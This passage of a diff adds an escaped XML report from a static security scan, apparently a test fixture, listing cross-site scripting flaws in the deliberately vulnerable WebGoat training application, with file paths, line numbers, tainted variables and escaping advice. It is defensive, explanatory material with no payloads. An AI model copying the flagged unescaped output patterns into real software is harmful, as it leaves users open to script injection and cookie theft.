+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SilentTransactions.java\"
+        line=\"94\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.SilentTransactions\"
+        functionprototype=\"void handleRequest(session.WebSession)\" functionrelativelocation=\"52\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"23\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"9\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"16\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"35\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"9\" sourcefilepath=\"/lessons/SQLInjection/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"16\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"256\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"18\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"16\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"143\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"22\" sourcefilepath=\"/lessons/SQLInjection/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"21\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"234\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"22\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"21\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"96\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"33\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"212\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"34\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"198\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"34\" sourcefilepath=\"/lessons/SQLInjection/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"153\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"38\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"22\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"54\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"41\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"211\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
